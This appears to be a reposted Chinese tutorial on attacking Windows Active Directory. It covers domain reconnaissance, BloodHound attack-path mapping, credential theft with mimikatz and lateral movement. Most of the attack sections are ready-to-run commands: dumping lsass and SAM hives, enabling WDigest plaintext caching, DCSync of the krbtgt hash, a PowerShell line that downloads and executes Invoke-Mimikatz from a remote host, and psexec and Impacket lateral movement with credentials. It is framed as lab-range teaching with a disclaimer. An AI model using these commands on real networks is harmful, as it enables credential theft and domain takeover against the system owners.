域渗透攻防之域内信息搜集&寻血猎犬BloodHound&猕猴桃mimikatz&转储密码和散列
2023-2-5 10:0:45 Author: 猫哥的秋刀鱼回忆录(查看原文) 阅读量:96 收藏

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,猫哥的秋刀鱼回忆录及文章作者不为此承担任何责任。猫哥的秋刀鱼回忆录公众号均不发表带原创标志的文章,转载请附带公众号出处!

前言

在阅读本文前,我默认你已然了解域的基本概念,域环境与工作组环境的区别。本文主要叙述几点命题:

  1. 判断域环境,并且定位域控制器的IP地址,获取域内其他成员机器的信息,是域内信息搜集的主要工作
  2. 通过 猎犬BloodHound 使用可视化图形显示域环境中的关系,识别高度复杂的攻击路径,深入域环境中的权限关系
  3. 利用 猕猴桃mimikatz 获取windows用户密码或者Hash,用于远程登录域内其他机器,为进行后续的哈希传递和票据传递攻击提供基础
  4. 了解基于IPC的横向移动远程控制技术

鲁迅《伤逝》中写道:

想给她一点慰藉。然而我的笑貌一上脸,我的话一出口,却即刻变为空虚,这空虚又即刻发生反响,回向我的耳目里,给我一个难堪的恶毒的冷嘲。

域内信息搜集

在实际的域内信息搜集过程中,我们通过使用DOS命令,实际上是对自己基础知识掌握程度的一个检验和了解。但更多生产环境中我们比较喜欢用现成的脚本插件来达到一键收集信息搜集的目的。这样的作用是能够加快我们的工作效率,减少不必要的时间浪费在这里面。当然命令行对于我们自身的素养也是有一个很大的帮助的,万变不离其宗,所有工具总归是要基于这些基石。

是否存在域环境

我们一般通过查询时间服务器来判断是否存在域,因为一般时间服务器就是域控机器,我们可以通过ping来获取DC域控的IP。当然也可以通过DNS后缀判断是否存在域

net time /domain
ipconfig /all
信任域有哪些?
nltest /domain_trusts /all_trusts /v /server:DC域控IP 
域的详细情况
nltest /dsgetdc:域名 /server:DC域控IP 
域控的主机名
net group "domain controllers" /domain 
域管理用户
net group "domain admins" /domain
查询域控制器
net group "domain controllers" /domain
查询域机器
net group "domain computers" /domain
查询域里面的组
net group /domain
查询域用户列表
net user /domain
查看共享
net view \\IP
net view \\主机名 
域内所有用户SID
wmic useraccount get Caption,sid 

寻血猎犬BloodHound

BloodHound是一个单页Javascript Web应用程序,建立在Linkurious之上,用Electron编译,Neo4j数据库由C#数据收集器提供BloodHound使用图论来揭示Active Directory或Azure环境中隐藏的和通常是意想不到的关系。攻击者可以使用BloodHound轻松识别高度复杂的攻击路径,否则无法快速识别。防御者可以使用寻血猎犬来识别和消除这些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松更深入地了解ActiveDirectory 或Azure环境中的权限关系。

BloodHound 使用可视化图形显示域环境中的关系,攻击者可以使用 BloodHound 识别高度复杂的攻击路径,防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入域环境中的权限关系。BloodHound 通过在域内导出相关信息,在将数据收集后,将其导入Neo4j 数据库中,进行展示分析。因此需要安装 Neo4j 数据库。

安装与采集

使用SharpHound.exe进行数据的采集,将SharpHound.exe拷贝到目标上,它会自动采集域内的用户/用户组/计算机/组策略/域信任关系等信息,将采集到的所有信息在当前目录下打包成一个以时间戳标识的压缩文件,执行

SharpHound.exe -c all

如果使用powershell脚本收集,注意使用方法

powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"

采集到的数据会以压缩包的格式保存,拷贝到BloodHound所在主机上,Upload Data上传刚才生成的压缩包就可以导入数据了,或者直接拖动到里面也可以。

进入Analysis模块,点击不同的查询条件,就可以进行不同的分析查询。

汉化后的目录一览:

以及在最下面,我们可以自定义进行查询。

节点与信息

它主要通过图形与连线的方式来呈现数据,每一个图形都被称作为一个节点(Node)。通过图形的不同来表示域内的不同对象。域内不同的对象比如用户,用户组,计算机,域,组策略,组织单位等,它都有自己专属的图形来进行表示。

我们只要随便点击一个节点,左侧就会出现节点信息,包括节点的一些概述,节点属性,所属组(),以及所拥有的权限等等。不同的对象包含着不同类型的节点信息。

边缘与传递

边缘是连接2个相互作用的节点之间的连线,它可以用来反映2个相互作用的节点之间的关系。如图所示,边缘MemberOF就代表着用户ADMINISTRATOR是用户组DOMAIN ADMINS的成员

整体页面功能
菜单与搜索栏

Database Info(数据库信息),可以查看当前数据库的基本信息,包括用户、计算机、组和关系(或边)的数量。

Node Indo(节点信息),当单击某个节点时,可以显示对应节点的相关信息。

Analysis(分析查询),在BloodHound中预置了一些查询条件,具体如下:

右键查看功能菜单

图标样式说明

节点可以分为6种类型,分别是 Users 用户、Groups 组、Computers 计算机、Domain 域、GPOs 组策略对象、OUs 组织单位

每个节点中可以有不同的标记图标:

  • 蓝色位置图标表示开始节点
  • 白色骷髅头说明是已拥有节点
  • 红色靶子图标是目标节点
  • 钻石图标则是高价值目标
节点关系说明

在每个节点与节点之间都有对应的关系,分别代表着不同的意思。

  • HasSession 当用户与计算机时进行会话时,凭据会保留在内存中,可用 LSASS 注入或者凭据转储来获取用户凭据。

  • MemberOf 表示组的成员,此节点是上一节点的成员,由末端指向上的尖端。

  • AdminTo 末端是尖端的本地管理员,本地管理员对这台计算机的管理权限比较大,下面的这个用户组是前一台计算机的本地管理员。

  • ACL Edges

    • AllExtendedRights 扩展权限是授予对象的特殊权限,这些对象允许读取特权属性以及执行特殊操作;如果对象是用户,则可以重置用户密码;如果是组,则可以修改组成员;如果是计算机,则可以对该计算机执行基于资源的约束委派。
    • AddMember 可以向目标安全组添加任意成员。
    • ForceChangePassword 可以任意重置目标用户密码。
    • GenericAll 可以完全控制目标对象。
    • GenericWrite 写入权限,修改目标的属性或者将主体添加入组等。
    • Owns 保留修改 security descriptors 的能力,会忽略DACL权限的限制。
    • WriteDacl 可写入目标DACL,修改DACL访问权。
    • WriteOwner 保留修改 security descriptors的能力,会忽略DACL权限的限制。
    • ReadLAPSPassword 读取LAPS上的本地管理员凭证。
    • ReadGMSAPassword 读取GMSA上的本地管理员凭证。
  • Containers

    • Contains 可以在OU上添加一个新的ACE,它将继承到该OU下的所有子对象上,比如说在OU上应用GenericAll ACE ,那么所有子对象都将继承GenericAll属性。
    • GpLink 将其设置为链接容器中的对象。
  • 特殊 Edges

    • CanRDP 用远程桌面进行会话。
    • CanPSRemote 用PowerShell进行会话。
    • ExecuteDCOM 实例化目标的COM对象并调用其方法,可以在特定条件下执行代码。
    • AllowedToDelegate 有这个特权的节点可以将任何域主体(包括Domain Admins)模拟到目标主机上的特定服务。
    • AddAllowedToAct 可以控制任意的安全主体伪装为特定计算机的任何域用户。
    • AllowedToAct 可以使用此用户滥用S4U2self / S4U2proxy进程,将任何域用户模拟到目标计算机系统,并以“该用户”身份接收有效的服务票证。
    • SQLAdmin 该用户是目标计算机的MSSQL管理员。
    • HasSIDHistory 用户的SID历史记录,用户在域迁移后,票据还包含着前域所在组的SID,虽然用户不属于前域,但仍拥有前域的权限。

猕猴桃mimikatz

mimikatz是法国安全研究员Benjamin Delpy在GitHub开源的内网工具,可用来做一些关于Win内网安全的渗透实验;它在内网渗透中它可以从lsass.exe进程中提取明文密码、哈希值、PIN码和Kerberos票据,因此很多人称之为密码抓取神器;与此同时它还可以执行传递哈希值、传递票据、建立票据、伪造域管理凭证令牌等诸多功能等,我们在使用前尽量对mimikatz要进行免杀处理,因为该工具危害过大,大多数反病毒公司会对该工具进行拦截。

  1. 靶场环境:域
  2. 靶场资源:通过打点获得的一台域内主机权限 (普通用户)
  3. 靶场系统:Win10 x64(虚拟机)+ Win sever 19域控(虚拟机)
使用前注意的问题

在 Windows 中,SAM 文件是 Windows 用户的账户数据库,位于系统的%SystemRoot%\System32\Config 目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。用户输入密码登录时,用户输入的明文密码被转换为哈希值,然后与 SAM 文件中的哈希值对比,若相同,则认证成功。Isass.exe 是Windows 的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。在通常情况下,用户输入密码登录后,登录的域名、用户名和登录凭据等信息会存储在 Isass.exe 的进程空间中,用户的明文密码经过 WDigest 和 Tspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中。

我们在获取域内单机密码和哈希之时,基本说是用工具来读取SAM文件或者访问lsass.exe进程的内存数据等操作实现的.这些操作大多需要管理员权限,这就意味着必须配合一些提权操作,才会对我们的密码抓取有一个帮助。

windows-2012以上的系统不能直接获取明文密码了,需要配置相关注册表等操作。虽然微软很早就更新了补丁来防止获取windows的明文密码,但是可以修改注册表,使代表WDigest的密码支持明文形式保存在LSA内存中。具体补丁是KB2871997,关闭了Wdigest功能,禁止从内存中获取明文密码。修改注册表来让Wdigest Auth保存明文口令:

# 开启Wdigest
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 关闭Wdigest
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

获取权限

privilege::debug 

抓取密码

sekurlsa::logonpasswords
在线读取lsass进程内存中的密码

privilege::debug 用于提升权限为DebugPrivilege

sekurlsa::logonpasswords 用于导出用户凭据

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
离线读取lsass进程内存中的密码

除了在线读取,也可以直接将 Isass.exe 的进程内存转储,将内存文件导出到本地后,使用 Mimikatz 进行离线读取。用于转储进程内存的工具有很多,如 OutMinidump.psl、Procdump、SharpDump 等,甚至可以手动加载系统自带的 comsvcs.dll 来实现内存转储。

我们使用微软官方提供的Procdump工具先将lsass.exe进程转储

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

把lsass.dmp放在mimikatz同目录下,然后使用mimikatz运行解密命令

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit

sekurlsa::minidump lsass.dmp 用于加载内存文件

sekurlsa::logonpasswords 用于导出用户凭据

在线读取本地SAM文件保存的用户凭据

在线读取本地 SAM 文件将mimikatz.exe上传到目标主机,执行以下命令:

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
  • privilege::debug 用于提升至DebugPrivilege权限
  • token::elevate 用于提升至SYSTEM权限
  • lsadump::sam 用于读取本地 SAM 文件
注册表导出离线破解SAM文件

lsass.exe同理,在管理员权限下执行以下命令,通过保存注册表的方式导出

reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

然后将导出的SAM和SYSTEM文件复制到同目录下,使用Mimikatz加载并读取SAM中的用户凭据信息。

mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit
Powershell远程调用mimikatz
powershell "IEX (New-Object Net.WebClient).DownloadString('https://xxxxxxx/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
MSF模块调用mimikatz
load mimikatz
wdigest //获取明文密码
msv //获取所有Hash
hashdump //类似
CS插件调用mimikatz

点点点就OK

获取Krbtgt用户的Hash

DCSync (mimikatz):mimikatz会模拟域控,向目标域控请求账号密码信息。这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。

lsadump::dcsync /user:krbtgt

在meterpreter中使用kiwi扩展也是一样的效果

dcsync_ntlm krbtgt

LSA(mimikatz):mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取

privilege::debug
lsadump::lsa /inject /name:krbtgt

Hashdump(MSF+CS):一键即可

基于IPC的横向移动

windows默认情况下开启的共享如下,当我们获取到可用于远程管理的账户时候,便可通过对ADMIN$目录建立IPC连接的方式远程连接到工作组或域内其他计算机,获取目标机器的控制权限。

net use \\IP /u:域名称\域账号 密码

这里需要注意只能使用被添加到远程计算机管理员组的域用户来远程连接,即默认情况下只有域管用户有权限对admin$目录建立IPC连接,其实本地的Administrator用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用Administrator用户远程连接.

PSEXEC管道横移

一般我们用来反弹cmd,可先建立ipc连接再使用psexec无需输入密码

net use \\IP /u:域名称\域账号 密码
psexec.exe \\192.168.92.132 -s cmd.exe -acceptcula

或者直接使用psexec连接

.\psexec.exe \\192.168.92.131 -u tset0\Administrator -p Server.2019 -s cmd.exe -ac
Impacket实现横移

Impacket是用于处理网络协议的 Python类 的集合。. Impacket专注于提供对数据包的简单编程访问,以及协议实现本身的某些协议

  • smbexec.py
smbexec.py test0/administrator:[email protected]
  • psexec.py与官方psexec.exe相比会自动删除服务,增加了隐蔽性
psexec.py test0/administrator:[email protected]

或者直接执行命令

psexec.py test0/administrator:[email protected] ipconfig
  • wmiexec.py
wmiexec.py test0/administrator:[email protected] ipconfig

文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247498961&idx=1&sn=d7d3fa852e5d5df283ac604b6303583e&chksm=c3056956f472e04094b358c84d26011459be736ff587153dac80230bc5cf776b65d69d0e6c0d#rd
如有侵权请联系:admin#unsafe.sh